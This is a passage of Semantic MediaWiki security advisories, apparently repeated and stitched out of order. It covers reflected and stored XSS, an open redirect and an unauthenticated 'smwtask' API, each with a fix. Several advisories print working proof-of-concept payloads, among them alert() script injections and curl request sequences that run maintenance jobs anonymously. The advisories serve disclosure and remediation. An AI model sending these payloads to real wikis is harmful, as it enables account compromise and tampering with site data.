This is a reflected XSS: the payload is taken from the request and echoed in the same response. Exploitation requires the query condition to target a text/blob-typed property (whose value is re-serialized verbatim); the predefined _txt properties (Text, etc.) that ship on every install satisfy this, so no attacker-created content is needed. Example request:

Special:Ask?q=[[Text::<script>alert(document.domain)</script>]]&debug=1

Remediation

• Apply output-context escaping at the DebugFormatter boundary. The buildHTML() contract already assumes its inputs are HTML-safe, but its callers do not honour that; escape each entry value on emission, and the SQL and EXPLAIN strings before they are wrapped.
• Escaping only the query-string echo is insufficient: prettifySQL() and the "Auxilliary Tables" executed-query text carry the same attacker-controlled literals.

Scope

The prettifySPARQL() sink already encodes < and > and is not affected. The same debug path is also reachable through inline {{#ask:...|format=debug}}, but that output returns into parser context and is sanitized there; the reflected Special:Ask path is the exposed sink.

Relationship to GHSA-5jhc-3j2f-52rv

This issue was identified while splitting the consolidated report GHSA-5jhc-3j2f-52rv into per-vulnerability advisories. It is distinct from the four items in that report (plain table header, sep, SearchByProperty value, open redirect) and from Special:Ask form-input XSS (which is escaped separately).

Failure mode

Special:URIResolver resolves its user-controlled subpage to a MediaWiki title and issues an HTTP 303 redirect to $title->getFullURL() without validating the resolved target. A crafted subpage can make that target point off-host: an interwiki prefix redirects to the foreign wiki (for example Special:URIResolver/mw-3AFoo, which decodes to mw:Foo, redirects to https://www.mediawiki.org/wiki/Foo), and where the resolved URL carries an authority the target can even embed user:pass@host credentials. The result is an open redirect to an attacker-influenced host, usable for phishing from a trusted wiki URL.

Remediation

• The resolved target URL is parsed and compared against the current host at the redirect sink.
• The redirect is rejected (bad-title error page) when a user or pass component is present, or when the host does not match the current host.

Maintenance note

Redirect code must validate the final target URL, not just the input path. Host comparison belongs at the redirect sink: each sink (special page, entry point) must validate its own target rather than relying on upstream normalisation.

Failure mode

sep was inserted verbatim into the HTML that joins a table cell's values. This made it possible to inject HTML through the separator value. The same unsanitised table HTML is produced both for the standard Special:Ask render and for its raw request output (request_type=raw), so the injection was reachable without authentication.

Remediation

• In all non-wiki output modes (HTML, raw request, file), sep is escaped unless it is a safe <br> variant.
• This preserves legitimate line-break separators while blocking markup injection.

Maintenance note

If the table renderer ever gains richer separator semantics, keep the whitelist explicit. Do not expand the allowed HTML surface casually.

Failure mode

The value parameter was reflected back into rendered output and error messaging paths without enough output-context encoding.

Remediation

• The form value is escaped before it is placed back into the input field.
• Derived error messages are also escaped before being rendered into HTML.

Maintenance note

Do not treat error text as trusted just because it originated from validation. Validation output can still be attacker-influenced.

Failure mode

When headers=plain, table header text was emitted into <th> via a raw HTML path. User-controlled mainlabel content could therefore become executable HTML.

Remediation

• TableResultPrinter now applies output-context escaping before passing plain headers to the table renderer.
• The fix is limited to the HTML/plain-header branch so safe rendering modes are unaffected.

Why this is the right layer

The header value is not a structural token; it is display data. Sanitizing it at the sink is correct because the renderer owns the final HTML emission.

Summary

The SemanticMediaWiki extension inserts the unsanitized value of a data attribute into the DOM as HTML, allowing for stored XSS through wikitext.

Details

In ext.smw.js, the data-subtab attribute of all elements with the smw-subtab class is parsed as JSON and appended to the innerHTML of the element: https://github.com/SemanticMediaWiki/SemanticMediaWiki/blob/62f1fa765b626e21d88999b97a3e8029db9fd385/res/smw/ext.smw.js#L37-L42 However, most data attributes (except for reserved ones) like data-subtab can be used in wikitext. Therefore, it is possible to insert arbitrary HTML and JS through wikitext. The decoded (" will turn to ", but it will be decoded when it is retrieved through .dataset) value of the data-subtab attribute in the payload is "<img src='' onerror=alert(1)>". This is valid JSON and returns a string with <img src='' onerror=alert(1)> when being decoded.

PoC

1. Create a page with the following contents:

{{#tag:div|
|class=smw-subtab
|data-subtab=""<img src='' onerror=alert(1)>""
}}

2. Visit the page

Impact

Arbitrary HTML can be inserted into the DOM by any user with the edit right, allowing for JavaScript to be executed.

Summary

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

• needsToken( 'csrf' ) — this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
• mustBePosted() / isWriteMode() — do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

• table-statistics, duplicate-lookup — return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
• insert-job — enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
• update, check-query, run-joblist — run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Impact

An unauthenticated attacker can:

• Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
• Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, #ask queries, and queued jobs, degrading wiki performance.
• Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.

Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};

Summary

Special:FacetedSearch cstate hidden inputs enable reflected XSS (residual of CVE-2025-10354)

Details

Affected versions and vulnerable location

• Confirmed present on latest shipped release tag available in the local clone: SemanticMediaWiki/SemanticMediaWiki@7.2.0.
• Confirmed present on default branch master at HEAD 18f418b4cdf2875e67a741349179a22c1573f61c.

Vulnerable sink (default-branch representation):

• src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:131-133
  • Builds $hidden by concatenating unescaped request-controlled cstate[$key] values into an HTML attribute context (value="...").
• templates/FacetedSearch/search.mustache:25
  • Inserts the constructed fragment via {{{hidden}}} (no HTML escaping at this boundary).

Reachability trace (verified from source)

1. HTTP entrypoint:
   • GET to Special:FacetedSearch dispatches into SMW\MediaWiki\Specials\SpecialFacetedSearch::execute().
2. Request decoding boundary:
   • SpecialFacetedSearch::execute() constructs UrlArgs from $request->getValues() and calls ParametersProcessor::checkRequest($request).
3. Checksum gate:
   • ParametersProcessor::checkRequest() clears cstate only when filtered != 1 and getInt('csum', 0) != crc32(getVal('q', '')).
4. Decoder -> HTML assembly:
   • HtmlBuilder::buildHTML() iterates foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) and concatenates each into $hidden without escaping.
   • HtmlBuilder::buildHTML() passes $hidden into the template variable hidden.
5. HTML injection sink:
   • templates/FacetedSearch/search.mustache renders {{{hidden}}} into the <form>, so the concatenated markup is inserted as raw HTML.

PoC

Reproduction steps (source-derived)

1. Choose a q value.
2. Compute csum as crc32(q).
3. Send a request that includes:
   • q=<chosen>
   • csum=<crc32(q)>
   • at least one cstate[<key>]=<payload> entry

Example request shape:

/index.php/Special:FacetedSearch?q=Text&csum=<crc32(Text)>&cstate[0]=x%22%20autofocus%20onfocus%3Dalert(1)%20x%22

Impact

Attacker model

• Any remote attacker who can send HTTP requests to Special:FacetedSearch (or the localized alias mapped to the same SpecialFacetedSearch class) can supply attacker-controlled query parameters.
• Preconditions:
  • The attacker must make cstate survive ParametersProcessor::checkRequest(), either by setting csum to crc32(q) (when filtered != 1), or by setting filtered=1.
  • The attacker must supply cstate[<key>] values containing characters that break out of the HTML value="..." attribute context (for example an injected " to terminate the attribute value).

Severity and CVSS reasoning

Proposed severity: MEDIUM.

Proposed CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.

Rationale:

• AV:N: delivered over the network via query parameters.
• AC:L: requires only setting q, csum, and at least one cstate entry.
• PR:N: no authentication required for the request path in this code.
• UI:R: the victim must load the crafted URL.
• S:C: reflected XSS executes in the wiki origin and can affect other users depending on deployment and browser behavior.

Why this is a residual of CVE-2025-10354

• The CVE-2025-10354 hardening shipped by escaping the q parameter before emitting it into the value="{{q}}" attribute.
• Commit 3d675ce updates only the q rendering to use htmlspecialchars( $urlArgs->get( 'q', '' ) ) and does not touch the adjacent cstate -> $hidden construction loop.
• As a result, cstate remains an unescaped input source that flows into the same raw template injection point ({{{hidden}}}), creating a distinct reflected-XSS lane.

Output (from code inspection)

Given the payload idea where cstate[0] starts with x" ... x", HtmlBuilder.php constructs the hidden fragment by concatenation:

<input name="cstate[0]" type="hidden" value="x" autofocus onfocus=alert(1) x">

Because search.mustache injects the fragment via {{{hidden}}}, the attacker-controlled markup participates in normal HTML parsing in the response body.

Suggested fix

• Escape both the cstate key and value when constructing $hidden.
• Minimal code change in src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:

foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) {
	$safeKey = htmlspecialchars( (string)$key, ENT_QUOTES, 'UTF-8' );
	$safeValue = htmlspecialchars( (string)$value, ENT_QUOTES, 'UTF-8' );
	$hidden .= '<input name="cstate[' . $safeKey . ']" type="hidden" value="' . $safeValue . '">';
}

This keeps the raw {{{hidden}}} template insertion safe by ensuring the concatenated HTML fragment itself is attribute-escaped.

How I found it and a note on tooling

I anchored on the published CVE-2025-10354 patch by verifying in the checked-out repository that commit 3d675ce changes only the q rendering in HtmlBuilder.php to use htmlspecialchars.

Then I traced the reachable request path from SpecialFacetedSearch::execute() through ParametersProcessor::checkRequest() (checksum gate for whether cstate survives) into HtmlBuilder::buildHTML() where $hidden is constructed from cstate without escaping and injected into templates/FacetedSearch/search.mustache via {{{hidden}}}.

(End of file)

AI tooling

I used AI assistance for the code audit and for drafting this report. I manually verified the finding against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Query debug output XSS

Failure mode

Semantic MediaWiki's query debug output (format=debug, or the debug request parameter on Special:Ask) is assembled by SMW\Query\DebugFormatter and emitted as raw HTML. Several of its sinks apply no output-context encoding, so attacker-controlled query input is reflected into the page without escaping:

• buildHTML() echoes the re-serialized ASK query string escaping only [; <, >, ", ' pass through.
• prettifySQL() returns the generated SQL verbatim. Query value literals are inlined into the SQL through the database layer's quoting (SQL-escaping only, no HTML encoding), so markup in a value survives.
• prettifyExplain() echoes EXPLAIN output; on PostgreSQL the plan text contains the WHERE literals.

On Special:Ask the resulting string is concatenated into the page and sent through OutputPage::addHTML, never through the MediaWiki parser or Sanitizer. No special user right is required; an anonymous request suffices.

This is a reflected XSS: the payload is taken from the request and echoed in the same response. Exploitation requires the query condition to target a text/blob-typed property (whose value is re-serialized verbatim); the predefined _txt properties (Text, etc.) that ship on every install satisfy this, so no attacker-created content is needed. Example request:

Special:Ask?q=[[Text::<script>alert(document.domain)</script>]]&debug=1

Remediation

• Apply output-context escaping at the DebugFormatter boundary. The buildHTML() contract already assumes its inputs are HTML-safe, but its callers do not honour that; escape each entry value on emission, and the SQL and EXPLAIN strings before they are wrapped.
• Escaping only the query-string echo is insufficient: prettifySQL() and the "Auxilliary Tables" executed-query text carry the same attacker-controlled literals.

Scope

The prettifySPARQL() sink already encodes < and > and is not affected. The same debug path is also reachable through inline {{#ask:...|format=debug}}, but that output returns into parser context and is sanitized there; the reflected Special:Ask path is the exposed sink.

Relationship to GHSA-5jhc-3j2f-52rv

This issue was identified while splitting the consolidated report GHSA-5jhc-3j2f-52rv into per-vulnerability advisories. It is distinct from the four items in that report (plain table header, sep, SearchByProperty value, open redirect) and from Special:Ask form-input XSS (which is escaped separately).

Failure mode

Special:URIResolver resolves its user-controlled subpage to a MediaWiki title and issues an HTTP 303 redirect to $title->getFullURL() without validating the resolved target. A crafted subpage can make that target point off-host: an interwiki prefix redirects to the foreign wiki (for example Special:URIResolver/mw-3AFoo, which decodes to mw:Foo, redirects to https://www.mediawiki.org/wiki/Foo), and where the resolved URL carries an authority the target can even embed user:pass@host credentials. The result is an open redirect to an attacker-influenced host, usable for phishing from a trusted wiki URL.

Remediation

• The resolved target URL is parsed and compared against the current host at the redirect sink.
• The redirect is rejected (bad-title error page) when a user or pass component is present, or when the host does not match the current host.

Maintenance note

Redirect code must validate the final target URL, not just the input path. Host comparison belongs at the redirect sink: each sink (special page, entry point) must validate its own target rather than relying on upstream normalisation.

Failure mode

sep was inserted verbatim into the HTML that joins a table cell's values. This made it possible to inject HTML through the separator value. The same unsanitised table HTML is produced both for the standard Special:Ask render and for its raw request output (request_type=raw), so the injection was reachable without authentication.

Remediation

• In all non-wiki output modes (HTML, raw request, file), sep is escaped unless it is a safe <br> variant.
• This preserves legitimate line-break separators while blocking markup injection.

Maintenance note

If the table renderer ever gains richer separator semantics, keep the whitelist explicit. Do not expand the allowed HTML surface casually.

Failure mode

The value parameter was reflected back into rendered output and error messaging paths without enough output-context encoding.

Remediation

• The form value is escaped before it is placed back into the input field.
• Derived error messages are also escaped before being rendered into HTML.

Maintenance note

Do not treat error text as trusted just because it originated from validation. Validation output can still be attacker-influenced.

Failure mode

When headers=plain, table header text was emitted into <th> via a raw HTML path. User-controlled mainlabel content could therefore become executable HTML.

Remediation

• TableResultPrinter now applies output-context escaping before passing plain headers to the table renderer.
• The fix is limited to the HTML/plain-header branch so safe rendering modes are unaffected.

Why this is the right layer

The header value is not a structural token; it is display data. Sanitizing it at the sink is correct because the renderer owns the final HTML emission.

Summary

The SemanticMediaWiki extension inserts the unsanitized value of a data attribute into the DOM as HTML, allowing for stored XSS through wikitext.

Details

In ext.smw.js, the data-subtab attribute of all elements with the smw-subtab class is parsed as JSON and appended to the innerHTML of the element: https://github.com/SemanticMediaWiki/SemanticMediaWiki/blob/62f1fa765b626e21d88999b97a3e8029db9fd385/res/smw/ext.smw.js#L37-L42 However, most data attributes (except for reserved ones) like data-subtab can be used in wikitext. Therefore, it is possible to insert arbitrary HTML and JS through wikitext. The decoded (" will turn to ", but it will be decoded when it is retrieved through .dataset) value of the data-subtab attribute in the payload is "<img src='' onerror=alert(1)>". This is valid JSON and returns a string with <img src='' onerror=alert(1)> when being decoded.

PoC

1. Create a page with the following contents:

{{#tag:div|
|class=smw-subtab
|data-subtab=""<img src='' onerror=alert(1)>""
}}

2. Visit the page

Impact

Arbitrary HTML can be inserted into the DOM by any user with the edit right, allowing for JavaScript to be executed.

Summary

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

• needsToken( 'csrf' ) — this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
• mustBePosted() / isWriteMode() — do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

• table-statistics, duplicate-lookup — return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
• insert-job — enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
• update, check-query, run-joblist — run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Impact

An unauthenticated attacker can:

• Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
• Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, #ask queries, and queued jobs, degrading wiki performance.
• Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.

Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};

Summary

Special:FacetedSearch cstate hidden inputs enable reflected XSS (residual of CVE-2025-10354)

Details

Affected versions and vulnerable location

• Confirmed present on latest shipped release tag available in the local clone: SemanticMediaWiki/SemanticMediaWiki@7.2.0.
• Confirmed present on default branch master at HEAD 18f418b4cdf2875e67a741349179a22c1573f61c.

Vulnerable sink (default-branch representation):

• src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:131-133
  • Builds $hidden by concatenating unescaped request-controlled cstate[$key] values into an HTML attribute context (value="...").
• templates/FacetedSearch/search.mustache:25
  • Inserts the constructed fragment via {{{hidden}}} (no HTML escaping at this boundary).

Reachability trace (verified from source)

1. HTTP entrypoint:
   • GET to Special:FacetedSearch dispatches into SMW\MediaWiki\Specials\SpecialFacetedSearch::execute().
2. Request decoding boundary:
   • SpecialFacetedSearch::execute() constructs UrlArgs from $request->getValues() and calls ParametersProcessor::checkRequest($request).
3. Checksum gate:
   • ParametersProcessor::checkRequest() clears cstate only when filtered != 1 and getInt('csum', 0) != crc32(getVal('q', '')).
4. Decoder -> HTML assembly:
   • HtmlBuilder::buildHTML() iterates foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) and concatenates each into $hidden without escaping.
   • HtmlBuilder::buildHTML() passes $hidden into the template variable hidden.
5. HTML injection sink:
   • templates/FacetedSearch/search.mustache renders {{{hidden}}} into the <form>, so the concatenated markup is inserted as raw HTML.

PoC

Reproduction steps (source-derived)

1. Choose a q value.
2. Compute csum as crc32(q).
3. Send a request that includes:
   • q=<chosen>
   • csum=<crc32(q)>
   • at least one cstate[<key>]=<payload> entry

Example request shape:

/index.php/Special:FacetedSearch?q=Text&csum=<crc32(Text)>&cstate[0]=x%22%20autofocus%20onfocus%3Dalert(1)%20x%22

Impact

Attacker model

• Any remote attacker who can send HTTP requests to Special:FacetedSearch (or the localized alias mapped to the same SpecialFacetedSearch class) can supply attacker-controlled query parameters.
• Preconditions:
  • The attacker must make cstate survive ParametersProcessor::checkRequest(), either by setting csum to crc32(q) (when filtered != 1), or by setting filtered=1.
  • The attacker must supply cstate[<key>] values containing characters that break out of the HTML value="..." attribute context (for example an injected " to terminate the attribute value).

Severity and CVSS reasoning

Proposed severity: MEDIUM.

Proposed CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.

Rationale:

• AV:N: delivered over the network via query parameters.
• AC:L: requires only setting q, csum, and at least one cstate entry.
• PR:N: no authentication required for the request path in this code.
• UI:R: the victim must load the crafted URL.
• S:C: reflected XSS executes in the wiki origin and can affect other users depending on deployment and browser behavior.

Why this is a residual of CVE-2025-10354

• The CVE-2025-10354 hardening shipped by escaping the q parameter before emitting it into the value="{{q}}" attribute.
• Commit 3d675ce updates only the q rendering to use htmlspecialchars( $urlArgs->get( 'q', '' ) ) and does not touch the adjacent cstate -> $hidden construction loop.
• As a result, cstate remains an unescaped input source that flows into the same raw template injection point ({{{hidden}}}), creating a distinct reflected-XSS lane.

Output (from code inspection)

Given the payload idea where cstate[0] starts with x" ... x", HtmlBuilder.php constructs the hidden fragment by concatenation:

<input name="cstate[0]" type="hidden" value="x" autofocus onfocus=alert(1) x">

Because search.mustache injects the fragment via {{{hidden}}}, the attacker-controlled markup participates in normal HTML parsing in the response body.

Suggested fix

• Escape both the cstate key and value when constructing $hidden.
• Minimal code change in src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:

foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) {
	$safeKey = htmlspecialchars( (string)$key, ENT_QUOTES, 'UTF-8' );
	$safeValue = htmlspecialchars( (string)$value, ENT_QUOTES, 'UTF-8' );
	$hidden .= '<input name="cstate[' . $safeKey . ']" type="hidden" value="' . $safeValue . '">';
}

This keeps the raw {{{hidden}}} template insertion safe by ensuring the concatenated HTML fragment itself is attribute-escaped.

How I found it and a note on tooling

I anchored on the published CVE-2025-10354 patch by verifying in the checked-out repository that commit 3d675ce changes only the q rendering in HtmlBuilder.php to use htmlspecialchars.

Then I traced the reachable request path from SpecialFacetedSearch::execute() through ParametersProcessor::checkRequest() (checksum gate for whether cstate survives) into HtmlBuilder::buildHTML() where $hidden is constructed from cstate without escaping and injected into templates/FacetedSearch/search.mustache via {{{hidden}}}.

(End of file)

AI tooling

I used AI assistance for the code audit and for drafting this report. I manually verified the finding against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Query debug output XSS

Failure mode

Semantic MediaWiki's query debug output (format=debug, or the debug request parameter on Special:Ask) is assembled by SMW\Query\DebugFormatter and emitted as raw HTML. Several of its sinks apply no output-context encoding, so attacker-controlled query input is reflected into the page without escaping:

• buildHTML() echoes the re-serialized ASK query string escaping only [; <, >, ", ' pass through.
• prettifySQL() returns the generated SQL verbatim. Query value literals are inlined into the SQL through the database layer's quoting (SQL-escaping only, no HTML encoding), so markup in a value survives.
• prettifyExplain() echoes EXPLAIN output; on PostgreSQL the plan text contains the WHERE literals.

On Special:Ask the resulting string is concatenated into the page and sent through OutputPage::addHTML, never through the MediaWiki parser or Sanitizer. No special user right is required; an anonymous request suffices.

This is a reflected XSS: the payload is taken from the request and echoed in the same response. Exploitation requires the query condition to target a text/blob-typed property (whose value is re-serialized verbatim); the predefined _txt properties (Text, etc.) that ship on every install satisfy this, so no attacker-created content is needed. Example request:

Special:Ask?q=[[Text::<script>alert(document.domain)</script>]]&debug=1

Remediation

• Apply output-context escaping at the DebugFormatter boundary. The buildHTML() contract already assumes its inputs are HTML-safe, but its callers do not honour that; escape each entry value on emission, and the SQL and EXPLAIN strings before they are wrapped.
• Escaping only the query-string echo is insufficient: prettifySQL() and the "Auxilliary Tables" executed-query text carry the same attacker-controlled literals.

Scope

The prettifySPARQL() sink already encodes < and > and is not affected. The same debug path is also reachable through inline {{#ask:...|format=debug}}, but that output returns into parser context and is sanitized there; the reflected Special:Ask path is the exposed sink.

Relationship to GHSA-5jhc-3j2f-52rv

This issue was identified while splitting the consolidated report GHSA-5jhc-3j2f-52rv into per-vulnerability advisories. It is distinct from the four items in that report (plain table header, sep, SearchByProperty value, open redirect) and from Special:Ask form-input XSS (which is escaped separately).

Failure mode

Special:URIResolver resolves its user-controlled subpage to a MediaWiki title and issues an HTTP 303 redirect to $title->getFullURL() without validating the resolved target. A crafted subpage can make that target point off-host: an interwiki prefix redirects to the foreign wiki (for example Special:URIResolver/mw-3AFoo, which decodes to mw:Foo, redirects to https://www.mediawiki.org/wiki/Foo), and where the resolved URL carries an authority the target can even embed user:pass@host credentials. The result is an open redirect to an attacker-influenced host, usable for phishing from a trusted wiki URL.

Remediation

• The resolved target URL is parsed and compared against the current host at the redirect sink.
• The redirect is rejected (bad-title error page) when a user or pass component is present, or when the host does not match the current host.

Maintenance note

Redirect code must validate the final target URL, not just the input path. Host comparison belongs at the redirect sink: each sink (special page, entry point) must validate its own target rather than relying on upstream normalisation.

Failure mode

sep was inserted verbatim into the HTML that joins a table cell's values. This made it possible to inject HTML through the separator value. The same unsanitised table HTML is produced both for the standard Special:Ask render and for its raw request output (request_type=raw), so the injection was reachable without authentication.

Remediation

• In all non-wiki output modes (HTML, raw request, file), sep is escaped unless it is a safe <br> variant.
• This preserves legitimate line-break separators while blocking markup injection.

Maintenance note

If the table renderer ever gains richer separator semantics, keep the whitelist explicit. Do not expand the allowed HTML surface casually.

Failure mode

The value parameter was reflected back into rendered output and error messaging paths without enough output-context encoding.

Remediation

• The form value is escaped before it is placed back into the input field.
• Derived error messages are also escaped before being rendered into HTML.

Maintenance note

Do not treat error text as trusted just because it originated from validation. Validation output can still be attacker-influenced.